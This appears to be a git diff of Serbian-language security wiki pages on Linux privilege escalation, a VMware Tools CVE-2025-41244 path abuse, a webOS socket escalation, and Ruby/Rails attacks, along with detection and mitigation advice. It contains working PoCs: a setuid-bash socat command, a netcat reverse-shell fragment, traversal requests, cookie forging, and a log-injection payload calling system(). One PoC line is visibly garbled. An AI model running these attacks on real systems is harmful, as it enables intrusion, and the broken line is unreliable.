su pokretanje daemona na zahtev, upravljanje automount-om i snapshot-ovi stanja sistema. Organizuje fajlove u `/usr/lib/systemd/` za pakete distribucije i `/etc/systemd/system/` za izmene administratora, pojednostavljujući proces administracije sistema. +**systemd** predstavlja moderan init i menadžer servisa, koji nudi napredne funkcionalnosti kao što su pokretanje daemon-a na zahtev, upravljanje automount-ovima i snapshot-ovanje stanja sistema. Organizira fajlove u `/usr/lib/systemd/` za pakete distribucije i `/etc/systemd/system/` za izmene administratora, pojednostavljujući administraciju sistema. ## Other Tricks @@ -1482,7 +1480,7 @@ cisco-vmanage.md ## Android rooting frameworks: manager-channel abuse -Android rooting frameworks često hook-uju syscall da izlože privilegovanu kernel funkcionalnost userspace manageru. Slaba autentifikacija managera (npr. provere potpisa zasnovane na FD-order ili loši password schemesi) može omogućiti lokalnoj aplikaciji da se prikaže kao manager i eskalira do root na uređajima koji su već root-ovani. Saznajte više i detalje eksploatacije ovde: +Android rooting frameworks često hook-uju syscall da bi izložili privilegovanu kernel funkcionalnost userspace manager-u. Slaba autentifikacija manager-a (npr. signature checks zasnovane na FD-order ili loši password scheme-i) može omogućiti lokalnoj aplikaciji da impersonira manager-a i eskalira privilegije do root na uređajima koji su već root-ovani. Saznajte više i pronađite detalje o exploitovanju ovde: {{#ref}} @@ -1491,15 +1489,15 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md ## VMware Tools service discovery LPE (CWE-426) via regex-based exec (CVE-2025-41244) -Regex-driven service discovery u VMware Tools/Aria Operations može izvući putanju binarnog fajla iz command line procesa i izvršiti je sa -v u privilegovanom kontekstu. Permisivni paterni (npr. korišćenje \S) mogu poklopiti attacker-staged listener-e u zapisivim lokacijama (npr. /tmp/httpd), što dovodi do izvršenja kao root (CWE-426 Untrusted Search Path). +Otkrivanje servisa vođeno regex-om u VMware Tools/Aria Operations može izvući putanju do binarnog fajla iz command line-a procesa i izvršiti ga sa -v u privilegovanom kontekstu. Permisivni paterni (npr. korišćenje \S) mogu pogoditi attacker-staged listenere u zapisivim lokacijama (npr. /tmp/httpd), što može dovesti do izvršavanja kao root (CWE-426 Untrusted Search Path). -Više informacija i generalizovani obrazac primenljiv na druge discovery/monitoring stack-ove pogledajte ovde: +Saznajte više i pogledajte generalizovani obrazac koji se može primeniti na druge discovery/monitoring stack-ove ovde: {{#ref}} vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md {{#endref}} -## Kernel Security Protections +## Zaštite kernela - [https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check) - [https://github.com/a13xp0p0v/linux-kernel-defence-map](https://github.com/a13xp0p0v/linux-kernel-defence-map) @@ -1517,13 +1515,13 @@ vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md **Unix Privesc Check:** [http://pentestmonkey.net/tools/audit/unix-privesc-check](http://pentestmonkey.net/tools/audit/unix-privesc-check)\ **Linux Priv Checker:** [www.securitysift.com/download/linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)\ **BeeRoot:** [https://github.com/AlessandroZ/BeRoot/tree/master/Linux](https://github.com/AlessandroZ/BeRoot/tree/master/Linux)\ -**Kernelpop:** Enumerate kernel vulns in Linux and MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ +**Kernelpop:** Enumeriše kernel ranjivosti na Linux i MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ **Mestaploit:** _**multi/recon/local_exploit_suggester**_\ **Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\ **EvilAbigail (physical access):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ **Recopilation of more scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) -## References +## Reference - [0xdf – HTB Planning (Crontab UI privesc, zip -P creds reuse)](https://0xdf.gitlab.io/2025/09/13/htb-planning.html) - [alseambusher/crontab-ui](https://github.com/alseambusher/crontab-ui) diff --git a/src/linux-hardening/privilege-escalation/socket-command-injection.md b/src/linux-hardening/privilege-escalation/socket-command-injection.md index 6fe66fb62..c2c7f880b 100644 --- a/src/linux-hardening/privilege-escalation/socket-command-injection.md +++ b/src/linux-hardening/privilege-escalation/socket-command-injection.md @@ -2,9 +2,9 @@ {{#include ../../banners/hacktricks-training.md}} -## Primer bindovanja Socket-a u Pythonu +## Socket binding example with Python -U sledećem primeru je kreiran **unix socket** (`/tmp/socket_test.s`) i sve što se **primi** biće **izvršeno** pomoću `os.system`. Znam da ovo nećete naći u prirodi, ali cilj ovog primera je da vidite kako izgleda kod koji koristi unix sockets i kako upravljati ulazom u najgorem mogućem slučaju. +U sledećem primeru se kreira **unix socket** (`/tmp/socket_test.s`) i sve što se **primi** biće **izvršeno** pomoću `os.system`. Znam da ovo nećete naći u prirodi, ali cilj ovog primera je da pokaže kako izgleda kod koji koristi unix sockets i kako upravljati ulazom u najgorem mogućem slučaju. ```python:s.py import socket import os, os.path @@ -39,15 +39,15 @@ echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - ``` ## Studija slučaja: Root-owned UNIX socket signal-triggered escalation (LG webOS) -Neki privilegovani daemoni izlažu root-owned UNIX socket koji prihvata nepouzdan ulaz i povezuje privilegovane akcije sa thread-IDs i signalima. Ako protokol dozvoljava neprivilegovanom klijentu da utiče na to koji native thread će biti meta, moguće je pokrenuti privilegovani kod i izvršiti eskalaciju. +Neki privileged daemons izlažu root-owned UNIX socket koji prihvata untrusted input i vezuje privileged actions za thread-IDs i signals. Ako protocol dozvoljava da unprivileged client utiče na koji native thread bude targetiran, možda ćete moći da trigger-ujete privileged code path i escalate-ujete. -Uočen obrazac: -- Poveži se na root-owned socket (npr. /tmp/remotelogger). -- Kreiraj thread i pribavi njegov native thread id (TID). -- Pošalji TID (packed) plus padding kao request; primi acknowledgement. -- Pošalji određeni signal tom TID-u da pokrene privilegovano ponašanje. +Posmatran obrazac: +- Povežite se na root-owned socket (npr. /tmp/remotelogger). +- Kreirajte thread i dobijte njegov native thread id (TID). +- Pošaljite TID (packed) plus padding kao request; primite acknowledgement. +- Pošaljite specifičan signal tom TID-u da biste trigger-ovali privileged behaviour. -Skica minimalnog PoC-a: +Minimalna PoC skica: ```python import socket, struct, os, threading, time # Spawn a thread so we have a TID we can signal @@ -59,16 +59,16 @@ s.sendall(struct.pack('&1 | nc 23231 > /tmp/f ``` Napomene: -- Ova klasa ranjivosti nastaje kada se veruje vrednostima izvedenim iz stanja neprivilegovanog klijenta (TIDs) i povezuje ih sa privilegovanim obrađivačima signala ili logikom. -- Ojačajte primenom kredencijala na socketu, validacijom formata poruka i razdvajanjem privilegovanih operacija od spolja dostavljenih identifikatora niti. +- Ova klasa ranjivosti nastaje zbog poverenja u vrednosti izvedene iz neprivilegovanog stanja klijenta (TIDs) i vezivanja tih vrednosti za privilegovane obrađivače signala ili logiku. +- Ojačajte primenom credentials na socket, validacijom formata poruka i odvajanjem privilegovanih operacija od spolja dostavljenih identifikatora niti. -## References +## Reference - [LG WebOS TV Path Traversal, Authentication Bypass and Full Device Takeover (SSD Disclosure)](https://ssd-disclosure.com/lg-webos-tv-path-traversal-authentication-bypass-and-full-device-takeover/) diff --git a/src/linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md b/src/linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md index 5184770fe..d9c5c8f4e 100644 --- a/src/linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md +++ b/src/linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md @@ -2,22 +2,22 @@ {{#include ../../banners/hacktricks-training.md}} -Ova tehnika zloupotrebljava pipeline-ove service discovery zasnovane na regex-u koji parsiraju command line pokrenutih procesa kako bi utvrdili verzije servisa i zatim izvršili kandidat binarni fajl sa opcijom "version". Kada previše permisivni regularni izrazi prihvataju nepouzdane, od napadača kontrolisane putanje (npr. /tmp/httpd), privilegovani collector izvršava proizvoljan binarni fajl iz nepouzdane lokacije, što dovodi do lokalnog eskaliranja privilegija. NVISO je ovo dokumentovao u VMware Tools/Aria Operations Service Discovery kao CVE-2025-41244. +Ova tehnika zloupotrebljava pipeline-ove za otkrivanje servisa vođene regex-ovima koji parsiraju command line-ove pokrenutih procesa da bi zaključili verzije servisa, a zatim pokreću kandidat binarni fajl sa "version" flag-om. Kada permisivni pattern-i prihvataju nepouzdane, od napadača kontrolisane putanje (npr. /tmp/httpd), privilegovani collector izvršava proizvoljan binarni fajl iz nepouzdane lokacije, što dovodi do lokalnog eskaliranja privilegija. NVISO je ovo dokumentovao u VMware Tools/Aria Operations Service Discovery kao CVE-2025-41244. -- Impact: Lokalno eskaliranje privilegija do root-a (ili do privilegovanog discovery naloga) -- Root cause: Untrusted Search Path (CWE-426) + previše permisivno regex podudaranje command line-ova procesa -- Affected: open-vm-tools/VMware Tools on Linux (credential-less discovery), VMware Aria Operations SDMP (credential-based discovery via Tools/proxy) +- Impact: Lokalna eskalacija privilegija do root (ili do privilegovane discovery naloga) +- Root cause: Untrusted Search Path (CWE-426) + permisivno regex podudaranje command line-ova procesa +- Affected: open-vm-tools/VMware Tools na Linuxu (credential-less discovery), VMware Aria Operations SDMP (credential-based discovery via Tools/proxy) ## How VMware service discovery works (high level) -- Credential-based (legacy): Aria izvršava discovery skripte unutar guest-a putem VMware Tools koristeći konfigurisane privilegovane kredencijale. -- Credential-less (modern): Discovery logika se izvršava unutar VMware Tools, već privilegovana u guest-u. +- Credential-based (legacy): Aria izvršava discovery skripte unutar guest-a preko VMware Tools koristeći konfigurisane privilegovane kredencijale. +- Credential-less (modern): Discovery logika radi unutar VMware Tools, koji već ima privilegije u guest-u. -Oba moda na kraju pokreću shell logiku koja skenira procese sa slušačkim socket-ima, izvlači odgovarajući command path pomoću regex-a, i izvršava prvi argv token sa zastavicom za verziju. +Oba moda na kraju pokreću shell logiku koja skenira procese sa listening socket-ovima, ekstrahuje path komande koja se poklapa putem regex-a i izvršava prvi argv token sa version flag-om. ## Root cause and vulnerable pattern (open-vm-tools) -U open-vm-tools, serviceDiscovery plugin skripta get-versions.sh podudara kandidat binarne fajlove koristeći široke regularne izraze i izvršava prvi token bez bilo kakve validacije poverene putanje: +U open-vm-tools, serviceDiscovery plugin skripta get-versions.sh podudara kandidat binarnih fajlova koristeći široke regularne izraze i izvršava prvi token bez ikakve validacije trusted-path: ```bash get_version() { PATTERN=$1 @@ -29,7 +29,7 @@ COMMAND=$(get_command_line $p | grep -Eo "$PATTERN") done } ``` -Poziva se sa permisivnim obrascima koji sadrže \S (ne-razmak) koji će rado poklapati nesistemske putanje u lokacijama u koje korisnik može pisati: +Poziva se sa permisivnim obrascima koji sadrže \S (bez belog prostora), koji lako odgovaraju ne-sistemskim putanjama u lokacijama zapisivim od strane korisnika: ```bash get_version "/\S+/(httpd-prefork|httpd|httpd2-prefork)($|\s)" -v get_version "/usr/(bin|sbin)/apache\S*" -v @@ -39,22 +39,22 @@ get_version "/\S+/srm/bin/vmware-dr($|\s)" --version get_version "/\S+/dataserver($|\s)" -v ``` - Ekstrakcija koristi grep -Eo i uzima prvi token: ${COMMAND%%[[:space:]]*} -- Nema whitelist/allowlist pouzdanih sistemskih putanja; svaki otkriven listener sa podudarajućim imenom se izvršava sa -v/--version +- No whitelist/allowlist of trusted system paths; any discovered listener with a matching name is executed with -v/--version -Ovo stvara untrusted search path execution primitive: proizvoljni binarni fajlovi smešteni u direktorijumima sa dozvolom za pisanje za sve (npr. /tmp/httpd) biće izvršeni od strane privilegovane komponente. +Ovo stvara untrusted search path execution primitive: arbitrary binaries located in world-writable directories (e.g., /tmp/httpd) get executed by a privileged component. -## Eksploatacija (i bez kredencijala i sa kredencijalima) +## Exploitation (both credential-less and credential-based modes) Preduslovi -- Možete pokrenuti neprivilegovan proces koji otvara listening socket na guestu. -- discovery job je omogućen i izvršava se periodično (istorijski ~5 minuta). +- Možete pokrenuti neprivilegovan proces koji otvara listening socket na guest-u. +- discovery job je omogućen i radi periodično (istorijski ~5 minuta). Koraci -1) Postavite binarni fajl na putanju koja odgovara jednom od permisivnih regex-ova, npr. /tmp/httpd ili ./nginx -2) Pokrenite ga kao korisnik sa niskim privilegijama i obezbedite da otvori bilo koji listening socket -3) Sačekajte ciklus discovery; privilegovani collector će automatski izvršiti: /tmp/httpd -v (ili slično), pokrećući vaš program kao root +1) Stage a binary in a path matching one of the permissive regexes, e.g. /tmp/httpd or ./nginx +2) Run it as a low-privileged user and ensure it opens any listening socket +3) Wait for the discovery cycle; the privileged collector will automatically execute: /tmp/httpd -v (or similar), running your program as root -Minimalni demo (koristeći NVISO-ov pristup) +Minimalni demo (koristeći NVISO’s approach) ```bash # Build any small helper that: # - default mode: opens a dummy TCP listener @@ -65,61 +65,61 @@ chmod +x /tmp/httpd /tmp/httpd # run as low-priv user and wait for the cycle # After the next cycle, expect a root shell or your privileged action ``` -Tipičan lanac procesa -- Credential-based: /usr/bin/vmtoolsd -> /bin/sh /tmp/VMware-SDMP-Scripts-.../script_...sh -> /tmp/httpd -v -> /bin/sh -i -- Credential-less: /bin/sh .../get-versions.sh -> /tmp/httpd -v -> /bin/sh -i +Tipična linija procesa +- Sa kredencijalima: /usr/bin/vmtoolsd -> /bin/sh /tmp/VMware-SDMP-Scripts-.../script_...sh -> /tmp/httpd -v -> /bin/sh -i +- Bez kredencijala: /bin/sh .../get-versions.sh -> /tmp/httpd -v -> /bin/sh -i -Artefakti (credential-based) -Pronađene SDMP wrapper skripte pod /tmp/VMware-SDMP-Scripts-{UUID}/ mogu pokazati direktno izvršavanje zlonamernog puta: +Artefakti (sa kredencijalima) +Pronađene SDMP wrapper skripte u /tmp/VMware-SDMP-Scripts-{UUID}/ mogu pokazati direktno izvršavanje zlonamerne putanje: ```bash /tmp/httpd -v >"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stdout" 2>"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stderr" ``` -## Generalizacija tehnike: zloupotreba otkrivanja vođena regex-om (prenosivi obrazac) +## Generalizacija tehnike: regex-driven discovery abuse (portable pattern) -Mnogi agenti i nadzorni paketi implementiraju otkrivanje verzija/servisa tako što: -- Enumerišu procese sa slušačkim socket-ima -- Pretražuju argv/komandne linije pomoću permisivnih regexes (npr., obrasci koji sadrže \S) -- Izvršavaju poklapanu putanju sa benignim flagom kao što su -v, --version, -V, -h +Mnogi agenti i monitoring paketi implementiraju otkrivanje verzija/servisa na sledeći način: +- Enumerisanje procesa sa socket-ovima koji slušaju +- Pregledanje argv/command linija pomoću permisivnih regex-a (npr. patterni koji sadrže \S) +- Izvršavanje pronađenog puta sa benignim flagom kao -v, --version, -V, -h -Ako regex prihvata nepouzdane putanje i putanja se izvršava iz privilegovanog konteksta, dobijate CWE-426 Untrusted Search Path execution. +Ako regex prihvata nepouzdane putanje i putanja se izvršava iz privilegovanog konteksta, dobija se CWE-426 Untrusted Search Path execution. -Recept za zloporabu -- Imenovati svoj binarni fajl kao uobičajene daemone koje će regex verovatno poklopiti: httpd, nginx, mysqld, dataserver -- Postaviti ga u direktorijum koji je upisiv: /tmp/httpd, ./nginx -- Osigurati da se poklapa sa regex-om i otvori bilo koji port da bi bio enumerisan -- Sačekati zakazani collector; dobićete automatsko privilegovano pozivanje -v +Recept za zloupotrebu +- Imenujte svoj binarni fajl kao kod uobičajenih daemon-a koje regex verovatno poklapa: httpd, nginx, mysqld, dataserver +- Postavite ga u direktorijum sa mogućnošću pisanja: /tmp/httpd, ./nginx +- Osigurajte da se poklapa sa regex-om i otvori bilo koji port koji će biti izlistan +- Sačekajte zakazani kolektor; dobićete automatsko privilegovano pokretanje -v -Napomena o maskiranju: Ovo je u skladu sa MITRE ATT&CK T1036.005 (Match Legitimate Name or Location) za povećanje verovatnoće poklapanja i prikrivenost. +Napomena o kamuflaži: Ovo je u skladu sa MITRE ATT&CK T1036.005 (Match Legitimate Name or Location) radi povećanja verovatnoće poklapanja i prikrivenosti. -Trik za višekratno korišćenje: privilegovani I/O relej -- Izgradite helper tako da pri privilegovanom pozivu (-v/--version) poveže se na poznati rendezvous (npr., Linux abstract UNIX socket kao @cve) i premošćuje stdio na /bin/sh -i. Ovo izbegava artefakte na disku i radi u mnogim okruženjima gde se isti binarni fajl ponovo poziva sa flagom. +Ponovo upotrebljiv trik za privilegovani I/O relay +- Napravite helper tako da pri privilegovanom pokretanju (-v/--version) uspostavi vezu sa poznatim rendezvous-om (npr. Linux abstract UNIX socket kao @cve) i poveže stdio sa /bin/sh -i. Ovo izbegava artefakte na disku i radi u mnogim okruženjima gde se isti binarni fajl ponovo pokreće sa flagom. -## Otkrivanje i DFIR smernice +## Detekcija i DFIR smernice -Upiti za pretragu -- Neobična deca vmtoolsd ili get-versions.sh kao što su /tmp/httpd, ./nginx, /tmp/mysqld -- Bilo koje izvršenje apsolutnih putanja koje nisu sistemske od strane skripti za otkrivanje (tražite razmake u ${COMMAND%%...} ekspanzijama) -- ps -ef --forest da vizualizujete stabla porekla: vmtoolsd -> get-versions.sh -> +Hunting queries +- Neobični child procesi vmtoolsd ili get-versions.sh kao što su /tmp/httpd, ./nginx, /tmp/mysqld +- Bilo koje izvršavanje apsolutnih putanja van sistema od strane discovery skripti (gledajte razmake u ${COMMAND%%...} ekspanzijama) +- ps -ef --forest za vizualizaciju stabala nasledstva: vmtoolsd -> get-versions.sh -> -Na Aria SDMP (bazirano na kredencijalima) -- Inspektovati /tmp/VMware-SDMP-Scripts-{UUID}/ za tranzijentne skripte i stdout/stderr artefakte koji pokazuju izvršavanje napadačkih putanja +Na Aria SDMP (credential-based) +- Pregledajte /tmp/VMware-SDMP-Scripts-{UUID}/ za tranzijentne skripte i stdout/stderr artefakte koji pokazuju izvršavanje putanja napadača -Politika/telemetrija -- Alertujte kada privilegovani collectors izvršavaju iz prefiksa koji nisu sistemski: ^/(tmp|home|var/tmp|dev/shm)/ -- File integrity monitoring na get-versions.sh i VMware Tools plugins +Policy/telemetry +- Alarmirajte kada privilegovani kolektori izvršavaju iz prefiksa van sistema: ^/(tmp|home|var/tmp|dev/shm)/ +- Nadzor integriteta fajlova za get-versions.sh i VMware Tools plugins ## Mitigacije -- Patch: Primeni Broadcom/VMware update-ove za CVE-2025-41244 (Tools and Aria Operations SDMP) -- Onemogući ili ograniči otkrivanje bez kredencijala gde je moguće -- Validiraj poverene putanje: ograniči izvršenje na dozvoljene direktorijume (/usr/sbin, /usr/bin, /sbin, /bin) i samo tačno poznate binarne fajlove -- Izbegavaj permisivne regexes sa \S; preferiraj uvezane (anchored), eksplicitne apsolutne putanje i tačna imena komandi -- Smanji privilegije za discovery helpere gde je moguće; sandbox-uj (seccomp/AppArmor) da bi se umanjio uticaj -- Monitoriši i alarmiraj na vmtoolsd/get-versions.sh koji izvršavaju putanje van sistemskih lokacija +- Patch: Primenite Broadcom/VMware ažuriranja za CVE-2025-41244 (Tools and Aria Operations SDMP) +- Onemogućite ili ograničite discovery bez kredencijala gde je moguće +- Validirajte pouzdane putanje: ograničite izvršavanje na direktorijume sa liste dozvoljenih (/usr/sbin, /usr/bin, /sbin, /bin) i samo na tačno poznate binarne fajlove +- Izbegavajte permisivne regex-e sa \S; preferirajte ukotvljene, eksplicitne apsolutne putanje i tačna imena komandi +- Smanjite privilegije discovery helper-a gde je moguće; sandboxujte (seccomp/AppArmor) da smanjite uticaj +- Nadzirite i alarmirajte kod vmtoolsd/get-versions.sh koji izvršavaju putanje van sistema -## Napomene za branioce i implementatore +## Napomene za odbrambene timove i implementatore -Bezbedniji obrazac podudaranja i izvršavanja +Bezbedniji model poklapanja i izvršenja ```bash # Bad: permissive regex and blind exec COMMAND=$(get_command_line "$pid" | grep -Eo "/\\S+/nginx(\$|\\s)") diff --git a/src/network-services-pentesting/pentesting-web/ruby-tricks.md b/src/network-services-pentesting/pentesting-web/ruby-tricks.md index 15c29d334..7415528e1 100644 --- a/src/network-services-pentesting/pentesting-web/ruby-tricks.md +++ b/src/network-services-pentesting/pentesting-web/ruby-tricks.md @@ -2,50 +2,50 @@ {{#include ../../banners/hacktricks-training.md}} -## Otpremanje fajla do RCE +## Otprema fajla do RCE Kao što je objašnjeno u [this article](https://www.offsec.com/blog/cve-2024-46986/), otpremanje `.rb` fajla u osetljive direktorijume kao što su `config/initializers/` može dovesti do remote code execution (RCE) u Ruby on Rails aplikacijama. Saveti: -- Druge lokacije koje se izvršavaju pri startovanju aplikacije (boot/eager-load) su takođe rizične ako su zapisive (npr. `config/initializers/` je klasičan primer). Ako nađete arbitrarno otpremanje fajla koje se smešta bilo gde pod `config/` i kasnije evaluated/required, možete dobiti RCE pri boot-u. -- Tražite dev/staging build-ove koji kopiraju fajlove pod kontrolom korisnika u container image gde će Rails učitati te fajlove pri startu. +- Druga mesta koja se izvršavaju pri startu aplikacije (boot/eager-load) su takođe rizična ako su upisiva (npr. `config/initializers/` je klasičan primer). Ako nađete arbitraran file upload koji završi bilo gde pod `config/` i kasnije se eval/require-uje, možete dobiti RCE pri pokretanju. +- Tražite dev/staging buildove koji kopiraju user-controlled fajlove u container image gde će ih Rails učitati pri startu. ## Active Storage image transformation → command execution (CVE-2025-24293) -Kada aplikacija koristi Active Storage sa `image_processing` + `mini_magick`, i prosleđuje nepoverljive parametre metodama za transformaciju slika, Rails verzije pre 7.1.5.2 / 7.2.2.2 / 8.0.2.1 mogu dozvoliti command injection zato što su neke transformacije greškom dozvoljene po defaultu. +Kada aplikacija koristi Active Storage sa `image_processing` + `mini_magick`, i prosleđuje untrusted parametre metodama za transformaciju slika, Rails verzije pre 7.1.5.2 / 7.2.2.2 / 8.0.2.1 mogu dozvoliti command injection zato što su neke transformation metode greškom bile dozvoljene po defaultu. -- Rizičan obrazac izgleda ovako: +- Vulnerable pattern izgleda ovako: ```erb <%= image_tag blob.variant(params[:t] => params[:v]) %> ``` gde su `params[:t]` i/ili `params[:v]` pod kontrolom napadača. - Šta probati tokom testiranja -- Identifikujte endpoint-e koji prihvataju variant/processing opcije, imena transformacija ili proizvoljne ImageMagick argumente. -- Fuzz-ujte `params[:t]` i `params[:v]` tražeći sumnjive greške ili neželjene efekte izvršavanja. Ako možete uticati na ime metode ili proslediti raw argumente koji dopiru do MiniMagick, možete ostvariti code exec na hostu koji procesuira slike. -- Ako imate samo read-access do generisanih varijanti, pokušajte blind exfiltration preko crafted ImageMagick operacija. +- Identifikujte endpoint-e koji prihvataju variant/processing opcije, imena transformacija, ili arbitrarne ImageMagick argumente. +- Fuzz `params[:t]` i `params[:v]` za sumnjive greške ili side-effecte izvršavanja. Ako možete uticati na ime metode ili poslati raw argumente koji dospeju do MiniMagick-a, možete dobiti code exec na hostu koji obrađuje slike. +- Ako imate samo read-access do generisanih varijanti, pokušajte blind exfiltration putem konstruisanih ImageMagick operacija. -- Remedijacija/detekcije -- Ako vidite Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 sa Active Storage + `image_processing` + `mini_magick` i user-controlled transformacijama, smatrati to eksploatabilnim. Preporučuje se nadogradnja i nametanje striktnih allowlists za metode/parametre i hardened ImageMagick policy. +- Rešavanje/detekcija +- Ako vidite Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 sa Active Storage + `image_processing` + `mini_magick` i user-controlled transformacijama, smatrati to eksploatabilnim. Preporučite nadogradnju i primenu striktnih allowlist-a za metode/params i hardenovan ImageMagick policy. ## Rack::Static LFI / path traversal (CVE-2025-27610) -Ako target stack koristi Rack middleware direktno ili preko framework-a, verzije `rack` pre 2.2.13, 3.0.14 i 3.1.12 dozvoljavaju Local File Inclusion preko `Rack::Static` kada `:root` nije podešen/je pogrešno konfiguran. Encodovani traversal u `PATH_INFO` može otkriti fajlove pod radnim direktorijumom procesa ili neočekivanim root-om. +Ako target stack koristi Rack middleware direktno ili preko framework-a, verzije `rack` pre 2.2.13, 3.0.14 i 3.1.12 dozvoljavaju Local File Inclusion preko `Rack::Static` kada `:root` nije setovan/je pogrešno konfigurisan. Encodovana traversal u `PATH_INFO` može izložiti fajlove iz radnog direktorijuma procesa ili neočekivanog root-a. -- Tražite aplikacije koje mount-uju `Rack::Static` u `config.ru` ili middleware stack-ovima. Probajte encodovane traversale prema statičkim putanjama, na primer: +- Tražite aplikacije koje mount-uju `Rack::Static` u `config.ru` ili middleware stack-ovima. Probajte encodovane traversale protiv statičkih putanja, na primer: ```text GET /assets/%2e%2e/%2e%2e/config/database.yml GET /favicon.ico/..%2f..%2f.env ``` -Podesite prefix da odgovara konfigurisanom `urls:`. Ako aplikacija odgovori sa sadržajem fajla, verovatno imate LFI ka svemu ispod razrešenog `:root`. +Prilagodite prefix da odgovara konfigurisanom `urls:`. Ako aplikacija odgovori sa sadržajem fajla, verovatno imate LFI ka bilo čemu pod razrešenim `:root`. -- Mitigacija: nadogradite Rack; osigurajte da `:root` pokazuje samo na direktorijum sa javnim fajlovima i eksplicitno je podešen. +- Ublažavanje: nadogradite Rack; osigurajte da `:root` pokazuje samo na direktorijum javnih fajlova i da je eksplicitno setovan. ## Forging/decrypting Rails cookies when `secret_key_base` is leaked -Rails enkriptuje i potpisuje cookies koristeći ključeve izvedene iz `secret_key_base`. If that value leaks (npr. u repozitorijumu, logovima ili pogrešno konfigurisanim credentials), obično možete dekriptovati, izmeniti i ponovo enkriptovati cookies. Ovo često vodi do authz bypass ako aplikacija skladišti uloge, user IDs, ili feature flags u kolačićima. +Rails enkriptuje i potpisuje cookies koristeći ključeve izvedene iz `secret_key_base`. Ako ta vrednost bude leaked (npr. u repo-u, logovima ili pogrešno konfigurisanih credentials), obično možete dekriptovati, modifikovati i ponovo enkriptovati cookies. Ovo često vodi ka authz bypass-u ako aplikacija čuva ulogu, user ID-jeve ili feature flag-ove u cookies. -Minimal Ruby za dekriptovanje i ponovno enkriptovanje modernih cookies (AES-256-GCM, default u recentnim Rails): +Minimalni Ruby za dekriptovanje i ponovnu enkripciju modernih cookies (AES-256-GCM, default u novijim Rails): ```ruby require 'cgi' require 'json' @@ -71,10 +71,10 @@ forged = enc.encrypt_and_sign(plain) puts "Forged cookie: #{CGI.escape(forged)}" ``` Napomene: -- Starije aplikacije mogu koristiti AES-256-CBC i saltove `encrypted cookie` / `signed encrypted cookie`, ili JSON/Marshal serializere. Po potrebi prilagodite saltove, cipher i serializer. -- U slučaju kompromitacije ili procene, rotirajte `secret_key_base` kako biste invalidirali sve postojeće cookies. +- Starije aplikacije mogu koristiti AES-256-CBC i salts `encrypted cookie` / `signed encrypted cookie`, ili JSON/Marshal serializers. Prilagodite salts, cipher i serializer u skladu sa tim. +- U slučaju kompromitovanja/pri proceni, rotirajte `secret_key_base` da biste invalidirali sve postojeće cookies. -## Pogledajte i (Ruby/Rails-specifične ranjivosti) +## See also (Ruby/Rails-specific vulns) - Ruby deserialization and class pollution: {{#ref}} @@ -92,9 +92,83 @@ Napomene: {{#endref}} +## Log Injection → RCE via Ruby `load` and `Pathname.cleanpath` smuggling +Kada aplikacija (često jednostavan Rack/Sinatra/Rails endpoint) ispunjava oba uslova: +- zapisuje string koji kontroliše korisnik doslovno, i +- kasnije `load`-uje fajl čija je putanja izvedena iz istog stringa (nakon `Pathname#cleanpath`), + +Često možete postići izvršavanje koda na daljinu (RCE) tako što ćete zatrovati log i potom prisiliti aplikaciju da `load`-uje log fajl. Ključne primitive: + +- Ruby `load` evaluira sadržaj ciljnog fajla kao Ruby bez obzira na ekstenziju fajla. Bilo koji čitljiv tekstualni fajl čiji sadržaj parsira kao Ruby biće izvršen. +- `Pathname#cleanpath` sabija `.` i `..` segmente bez pristupanja filesystem-u, omogućavajući path smuggling: attacker-controlled junk može biti dodan ispred radi logovanja dok očišćena putanja i dalje rešava na željeni fajl za izvršenje (npr. `../logs/error.log`). + +### Minimalni ranjivi obrazac +```ruby +require 'logger' +require 'pathname' + +logger = Logger.new('logs/error.log') +param = CGI.unescape(params[:script]) +path_obj = Pathname.new(param) + +logger.info("Running backup script #{param}") # Raw log of user input +load "scripts/#{path_obj.cleanpath}" # Executes file after cleanpath +``` +### Zašto log može sadržati validan Ruby +`Logger` zapisuje prefiksne linije kao: +``` +I, [9/2/2025 #209384] INFO -- : Running backup script +``` +U Ruby, `#` započinje komentar, a `9/2/2025` je samo aritmetika. Da biste ubacili validan Ruby kod morate: +- Počnite svoj payload na novom redu tako da ga `#` u INFO liniji ne komentariše; pošaljite vodeći novi red (`\n` ili `%0A`). +- Zatvorite viseći `[` koji je uveden u INFO liniji. Uobičajeni trik je da počnete sa `]` i opciono zadovoljite parser sa `][0]=1`. +- Zatim postavite proizvoljan Ruby kod (npr. `system(...)`). + +Example of what will end up in the log after one request with a crafted param: +``` +I, [9/2/2025 #209384] INFO -- : Running backup script +][0]=1;system("touch /tmp/pwned")#://../../../../logs/error.log +``` +### Krijumčarenje jedne niske koja istovremeno loguje kod i rešava se u putanju log fajla +Želimo jednu nisku kontrolisanu od strane napadača koja: +- kada se zabeleži u raw obliku, sadrži naš Ruby payload, i +- kada se prosledi kroz `Pathname.new().cleanpath`, rešava se u `../logs/error.log`, tako da naredni `load` izvrši upravo zatrovani log fajl. + +`Pathname#cleanpath` ignoriše scheme i kolapsira traversal komponente, tako da sledeće radi: +```ruby +require 'pathname' + +p = Pathname.new("\n][0]=1;system(\"touch /tmp/pwned\")#://../../../../logs/error.log") +puts p.cleanpath # => ../logs/error.log +``` +- `#` pre `://` osigurava da Ruby ignoriše ostatak kada se log izvrši, dok `cleanpath` i dalje svodi 